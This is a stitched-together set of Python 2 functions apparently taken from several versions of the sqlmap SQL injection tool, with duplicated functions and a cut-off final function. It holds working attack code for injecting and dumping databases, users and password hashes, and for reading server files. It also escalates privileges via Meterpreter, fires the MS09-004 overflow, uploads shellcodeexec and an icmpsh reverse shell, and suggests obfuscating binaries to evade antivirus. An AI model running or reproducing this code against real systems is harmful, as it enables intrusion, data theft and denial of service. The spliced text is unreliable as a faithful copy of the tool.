def queryOutputLength(expression, payload): """ Returns the query output length. """ lengthQuery = queries[kb.dbms].length.query select = re.search("\ASELECT\s+", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I) selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I) miscExpr = re.search("\A(.+)", expression, re.I) if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr: if selectTopExpr: regExpr = selectTopExpr.groups()[0] elif selectDistinctExpr: regExpr = selectDistinctExpr.groups()[0] elif selectFromExpr: regExpr = selectFromExpr.groups()[0] elif selectExpr: regExpr = selectExpr.groups()[0] elif miscExpr: regExpr = miscExpr.groups()[0] if (select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I)) or len(regExpr) <= 1: return None, None, None if selectDistinctExpr: lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression) if kb.dbms in (DBMS.MYSQL, DBMS.POSTGRESQL): lengthExpr += " AS %s" % randomStr(lowercase=True) elif select: lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) else: lengthExpr = lengthQuery % expression infoMsg = "retrieving the length of query output" logger.info(infoMsg) output = resume(lengthExpr, payload) if output: return 0, output, regExpr dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr)) start = time.time() lengthExprUnescaped = unescaper.unescape(lengthExpr) count, length = bisection(payload, lengthExprUnescaped, charsetType=2) debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) if length == " ": length = 0 return count, length, regExpr
def getSchema(self): infoMsg = "enumerating database management system schema" logger.info(infoMsg) pushValue(conf.db) pushValue(conf.tbl) pushValue(conf.col) conf.db = None conf.tbl = None conf.col = None kb.data.cachedTables = {} kb.data.cachedColumns = {} self.getTables() infoMsg = "fetched tables: " infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): for tbl in tables: conf.db = db conf.tbl = tbl self.getColumns() conf.col = popValue() conf.tbl = popValue() conf.db = popValue() return kb.data.cachedColumns
def _resumeOS(): """ Resume stored OS information from HashDB """ value = hashDBRetrieve(HASHDB_KEYS.OS) if not value: return os = value if os and os != 'None': infoMsg = "resuming back-end DBMS operating system '%s' " % os logger.info(infoMsg) if conf.os and conf.os.lower() != os.lower(): message = "you provided '%s' as back-end DBMS operating " % conf.os message += "system, but from a past scan information on the " message += "target URL sqlmap assumes the back-end DBMS " message += "operating system is %s. " % os message += "Do you really want to force the back-end DBMS " message += "OS value? [y/N] " test = readInput(message, default="N") if not test or test[0] in ("n", "N"): conf.os = os else: conf.os = os Backend.setOs(conf.os)
def checkDynParam(place, parameter, value): """ This function checks if the url parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. """ if kb.redirectChoice: return None kb.matchRatio = None dynResult = None randInt = randomInt() infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter) logger.info(infoMsg) try: payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) if not dynResult: infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) logger.info(infoMsg) randInt = randomInt() payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) except SqlmapConnectionException: pass result = None if dynResult is None else not dynResult kb.dynamicParameter = result return result
def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedUsers = [] for value in arrayizeValue(values): value = unArrayizeValue(value) if not isNoneValue(value): kb.data.cachedUsers.append(value) if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: return kb.data.cachedUsers elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index user = unArrayizeValue(inject.getValue(query, union=False, error=False)) if user: kb.data.cachedUsers.append(user) if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" logger.error(errMsg) return kb.data.cachedUsers
def __setHTTPUserAgent(): """ Set the HTTP User-Agent header. Depending on the user options it can be: * The default sqlmap string * A default value read as user option * A random value read from a list of User-Agent headers from a file choosed as user option """ if conf.agent: debugMsg = "setting the HTTP User-Agent header" logger.debug(debugMsg) conf.httpHeaders.append(("User-Agent", conf.agent)) return if not conf.userAgentsFile: addDefaultUserAgent = True for header, _ in conf.httpHeaders: if header == "User-Agent": addDefaultUserAgent = False break if addDefaultUserAgent: conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent())) return if not kb.userAgents: debugMsg = "loading random HTTP User-Agent header(s) from " debugMsg += "file '%s'" % conf.userAgentsFile logger.debug(debugMsg) try: kb.userAgents = getFileItems(conf.userAgentsFile) except IOError: warnMsg = "unable to read HTTP User-Agent header " warnMsg += "file '%s'" % conf.userAgentsFile logger.warn(warnMsg) conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent())) return __count = len(kb.userAgents) if __count == 1: __userAgent = kb.userAgents[0] else: __userAgent = kb.userAgents[randomRange(stop=__count-1)] __userAgent = sanitizeStr(__userAgent) conf.httpHeaders.append(("User-Agent", __userAgent)) logMsg = "fetched random HTTP User-Agent header from " logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent) logger.info(logMsg)
def dumpAll(self): if conf.db is not None and conf.tbl is None: self.dumpTable() return if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise SqlmapUnsupportedFeatureException(errMsg) infoMsg = "sqlmap will dump entries of all tables from all databases now" logger.info(infoMsg) conf.tbl = None conf.col = None self.getTables() if kb.data.cachedTables: if isinstance(kb.data.cachedTables, list): kb.data.cachedTables = { None: kb.data.cachedTables } for db, tables in kb.data.cachedTables.items(): conf.db = db for table in tables: try: conf.tbl = table kb.data.cachedColumns = {} kb.data.dumpedTable = {} self.dumpTable() except SqlmapNoneDataException: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg)
def storeHashesToFile(attack_dict): if not attack_dict: return if kb.storeHashesChoice is None: message = "do you want to store hashes to a temporary file " message += "for eventual further processing with other tools [y/N] " test = readInput(message, default="N") kb.storeHashesChoice = test[0] in ("y", "Y") if not kb.storeHashesChoice: return handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt") os.close(handle) infoMsg = "writing hashes to a temporary file '%s' " % filename logger.info(infoMsg) items = set() with open(filename, "w+") as f: for user, hashes in attack_dict.items(): for hash_ in hashes: hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if hash_ and hash_ != NULL and hashRecognition(hash_): item = None if user and not user.startswith(DUMMY_USER_PREFIX): item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING)) else: item = "%s\n" % hash_.encode(UNICODE_ENCODING) if item and item not in items: f.write(item) items.add(item)
def __findPageForms(): if not conf.forms: return if not checkConnection(): return infoMsg = "searching for forms" logger.info(infoMsg) response, _ = Request.queryPage(response=True) forms = ParseResponse(response, backwards_compat=False) if forms: for form in forms: request = form.click() url = request.get_full_url() method = request.get_method() data = request.get_data() if request.has_data() else None target = (url, method, data, conf.cookie) kb.targetUrls.add(target) kb.formNames[target] = form.name else: errMsg = "there were no forms found at a given target url" raise sqlmapGenericException, errMsg
def __versionCheck(self): infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB logger.info(infoMsg) query = agent.prefixQuery("/* NoValue */") query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if not result: warnMsg = "unable to perform %s version check" % DBMS.MAXDB logger.warn(warnMsg) return None minor, major = None, None for version in (6, 7): result = inject.checkBooleanExpression("%d=(SELECT MAJORVERSION FROM SYSINFO.VERSION)" % version) if result: major = version for version in xrange(0, 10): result = inject.checkBooleanExpression("%d=(SELECT MINORVERSION FROM SYSINFO.VERSION)" % version) if result: minor = version if major and minor: return "%s.%s" % (major, minor) else: return None
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() return True infoMsg = "testing %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("ALPHA(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MAXDB logger.info(infoMsg) result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False setDbms(DBMS.MAXDB) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB logger.warn(warnMsg) return False
def closed(self): infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) infoMsg += ":%d closed" % self.port logger.info(infoMsg) self.connector = None self.cursor = None
def _loadMetExtensions(self, proc, metSess): if not Backend.isOs(OS.WINDOWS): return send_all(proc, "use espia\n") send_all(proc, "use incognito\n") # This extension is loaded by default since Metasploit > 3.7 #send_all(proc, "use priv\n") # This extension freezes the connection on 64-bit systems #send_all(proc, "use sniffer\n") send_all(proc, "sysinfo\n") send_all(proc, "getuid\n") if conf.privEsc: print infoMsg = "trying to escalate privileges using Meterpreter " infoMsg += "'getsystem' command which tries different " infoMsg += "techniques, including kitrap0d" logger.info(infoMsg) send_all(proc, "getsystem\n") infoMsg = "displaying the list of Access Tokens availables. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token' if " infoMsg += "'getsystem' does not success to elevate privileges" logger.info(infoMsg) send_all(proc, "list_tokens -u\n") send_all(proc, "getuid\n")
def readInput(message, default=None): """ @param message: message to display on terminal. @type message: C{str} @return: a string read from keyboard as input. @rtype: C{str} """ if "\n" in message: message += "\n> " elif message[-1] == ']': message += " " if conf.batch and default: infoMsg = "%s%s" % (message, getUnicode(default)) logger.info(infoMsg) debugMsg = "used the default behaviour, running in batch mode" logger.debug(debugMsg) data = default else: data = raw_input(message.encode(sys.stdout.encoding)) if not data: data = default return data
def expandAsteriskForColumns(expression): # If the user provided an asterisk rather than the column(s) # name, sqlmap will retrieve the columns itself and reprocess # the SQL query string (expression) asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I) if asterisk: infoMsg = "you did not provide the fields in your query. " infoMsg += "sqlmap will retrieve the column names itself" logger.info(infoMsg) dbTbl = asterisk.group(1) if dbTbl and "." in dbTbl: conf.db, conf.tbl = dbTbl.split(".", 1) else: conf.tbl = dbTbl columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True) if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]: columns = columnsDict[conf.db][conf.tbl].keys() columns.sort() columnsStr = ", ".join([column for column in columns]) expression = expression.replace("*", columnsStr, 1) infoMsg = "the query with column names is: " infoMsg += "%s" % expression logger.info(infoMsg) return expression
def nonStackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result
def osBof(self): if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: return if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")): errMsg = "the back-end DBMS must be Microsoft SQL Server " errMsg += "2000 or 2005 to be able to exploit the heap-based " errMsg += "buffer overflow in the 'sp_replwritetovarbin' " errMsg += "stored procedure (MS09-004)" raise SqlmapUnsupportedDBMSException(errMsg) infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion() infoMsg += "'sp_replwritetovarbin' stored procedure heap-based " infoMsg += "buffer overflow (MS09-004)" logger.info(infoMsg) msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " inp = readInput(msg, default="N") if inp and inp[0].lower() == "y": dos = True else: dos = False if dos: self.initEnv(mandatory=False, detailed=True) self.getRemoteTempPath() self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True) self.bof()
def getVersionFromBanner(self): if "dbmsVersion" in kb.bannerFp: return infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL): first, last = 1, 6 elif Backend.isDbms(DBMS.PGSQL): first, last = 12, 6 elif Backend.isDbms(DBMS.MSSQL): first, last = 29, 9 else: raise SqlmapUnsupportedFeatureException("unsupported DBMS") query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last) if conf.direct: query = "SELECT %s" % query kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "")
def __runIcmpshSlaveRemote(self): infoMsg = "running icmpsh slave remotely" logger.info(infoMsg) cmd = "%s -t %s -d 500 -b 30 -s 128 &" % (self.__icmpslaveRemote, self.lhostStr) self.execCmd(cmd, silent=True)
def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER): """ REST-JSON API server """ DataStore.admin_id = hexencode(os.urandom(16)) Database.filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1] #make adminid to known this is safe because api only avalible to local file_object = open('/www/xseclab.com/termite/.sqlmapadminid', 'w') file_object.write(DataStore.admin_id) file_object.close( ) logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) logger.info("Admin ID: %s" % DataStore.admin_id) logger.debug("IPC database: %s" % Database.filepath) # Initialize IPC database DataStore.current_db = Database() DataStore.current_db.connect() DataStore.current_db.init() # Run RESTful API try: if adapter == "gevent": from gevent import monkey monkey.patch_all() elif adapter == "eventlet": import eventlet eventlet.monkey_patch() logger.debug("Using adapter '%s' to run bottle" % adapter) run(host=host, port=port, quiet=True, debug=False, server=adapter) except socket.error, ex: if "already in use" in getSafeExString(ex): logger.error("Address already in use ('%s:%s')" % (host, port)) else: raise
def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = "fetching database names" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs randStr = randomStr() query = rootQuery.inband.query if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for blind in blinds: retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) if retVal: kb.data.cachedDbs = retVal[0].values()[0] break if kb.data.cachedDbs: kb.data.cachedDbs.sort() return kb.data.cachedDbs
def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner osWindows = (" Visual C++", "mingw") for osPattern in osWindows: query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%" + osPattern + "%')>0" if inject.checkBooleanExpression(query): Backend.setOs(OS.WINDOWS) break if Backend.getOs() is None: Backend.setOs(OS.LINUX) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def uploadIcmpshSlave(self, web=False): ICMPsh._initVars(self) self._randStr = randomStr(lowercase=True) self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) if web: written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave) else: written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading icmpsh, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "it is recommended to recompile icmpsh with slight " errMsg += "modification to the source code or pack it with an " errMsg += "obfuscator software" logger.error(errMsg) return False else: logger.info("icmpsh successfully uploaded") return True
def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = paths.SQLMAP_SEXEC_PATH if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal += "/windows/shellcodeexec.x%s.exe" % "32" else: self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch() # TODO: until web.py's __webFileStreamUpload() method does not consider the destFileName # __basename = "tmpse%s%s" % (self.__randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") __basename = os.path.basename(self.shellcodeexecLocal) if web: self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename) else: self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: self.webFileUpload(self.shellcodeexecLocal, self.shellcodeexecRemote, self.webDirectory) else: self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary")
def uploadShellcodeexec(self, web=False): self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec") if Backend.isOs(OS.WINDOWS): self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32") else: self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch()) __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "") self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename) self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote)) logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote) if web: written = self.webUpload(self.shellcodeexecRemote, os.path.split(self.shellcodeexecRemote)[0], filepath=self.shellcodeexecLocal) else: written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: errMsg = "there has been a problem uploading shellcodeexec, it " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " errMsg += "flagged it as malicious and removed it. In such a case " errMsg += "it is recommended to recompile shellcodeexec with " errMsg += "slight modification to the source code or pack it " errMsg += "with an obfuscator software" logger.error(errMsg) return False else: logger.info("shellcodeexec successfully uploaded") return True
def storeResultsToFile(results): if not results: return if kb.storeCrawlingChoice is None: message = "do you want to store crawling results to a temporary file " message += "for eventual further processing with other tools [y/N] " kb.storeCrawlingChoice = readInput(message, default='N', boolean=True) if kb.storeCrawlingChoice: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt") os.close(handle) infoMsg = "writing crawling results to a temporary file '%s' " % filename logger.info(infoMsg) with openFile(filename, "w+b") as f: if conf.forms: f.write("URL,POST\n") for url, _, data, _, _ in results: if conf.forms: f.write("%s,%s\n" % (safeCSValue(url), safeCSValue(data or ""))) else: f.write("%s\n" % url)
def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) self.initEnv() return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread")
def storeHashesToFile(attack_dict): if not attack_dict: return handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt") os.close(handle) infoMsg = "writing hashes to file '%s' " % filename infoMsg += "for eventual further processing with other tools" logger.info(infoMsg) items = set() with open(filename, "w+") as f: for user, hashes in attack_dict.items(): for hash_ in hashes: hash_ = hash_.split()[0] if hash_ else hash_ if hash_ and hash_ != NULL and hashRecognition(hash_): item = None if user and not user.startswith(DUMMY_USER_PREFIX): item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING)) else: item = "%s\n" % hash_.encode(UNICODE_ENCODING) if item and item not in items: f.write(item) items.add(item)
def unionTest(): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times """ logMsg = "testing inband sql injection on parameter " logMsg += "'%s'" % kb.injParameter logger.info(logMsg) value = "" query = agent.prefixQuery(" UNION ALL SELECT NULL") for comment in (queries[kb.dbms].comment, ""): value = __effectiveUnionTest(query, comment) if value: setUnion(comment, value.count("NULL")) break if kb.unionCount: logMsg = "the target url could be affected by an " logMsg += "inband sql injection vulnerability" logger.info(logMsg) else: warnMsg = "the target url is not affected by an " warnMsg += "inband sql injection vulnerability" logger.warn(warnMsg) return value
def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(DB2_ALIASES): setDbms(DBMS.DB2) return True logMsg = "testing %s" % DBMS.DB2 logger.info(logMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)") if result: logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 logger.warn(warnMsg) return False
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if conf.hashFile: crackHashFile(conf.hashFile) if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "found a total of %d targets" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: if conf.checkInternet: infoMsg = "checking for Internet connection" logger.info(infoMsg) if not checkInternet(): warnMsg = "[%s] [WARNING] no connection detected" % time.strftime( "%X") dataToStdout(warnMsg) while not checkInternet(): dataToStdout('.') time.sleep(5) dataToStdout("\n") conf.url = targetUrl conf.method = targetMethod.upper().strip( ) if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) if conf.randomAgent or conf.mobile: for header, value in initialHeaders: if header.upper() == HTTP_HEADER.USER_AGENT.upper(): conf.httpHeaders.append((header, value)) break conf.httpHeaders = [ conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in ( __[0].upper() for __ in conf.httpHeaders[i + 1:]) ] initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any( (conf.data, conf.testParameter)): for parameter in re.findall( r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default='Y', boolean=True) testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ( (conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data) if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find( "?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'N': continue elif choice == 'Q': break else: if conf.method != HTTPMETHOD.GET: message = "Edit %s data [default: %s]%s: " % ( conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult( EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode( conf.data) if conf.data and urlencode( DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if '?' in targetUrl: firstPart, secondPart = targetUrl.split('?', 1) message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() else: message += "\ndo you want to test this URL? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': dataToStdout(os.linesep) continue elif choice == 'Q': break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms ) or not checkString() or not checkRegexp(): continue if conf.rParam and kb.originalPage: kb.randomPool = dict([ _ for _ in kb.randomPool.items() if isinstance(_[1], list) ]) for match in re.finditer( r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage): name, _ = match.groups() options = tuple( re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)", _)) if options: kb.randomPool[name] = options checkWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None) ) and (kb.injection.place is None or kb.injection.parameter is None): if not any((conf.string, conf.notString, conf.regexp )) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique: # NOTE: this is not needed anymore, leaving only to display # a warning message to the user in case the page is not stable checkStability() # Do a little prioritization reorder of a testable parameter list parameters = list(conf.parameters.keys()) # Order of testing list (first to last) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if # --level >= 3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # --param-filter skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter) # Test Host header only if # --level >= 5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect( PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect( PLACE.HOST, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect( HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect( (PLACE.COOKIE, ), conf.testParameter, True)) if skip: continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in ( None, 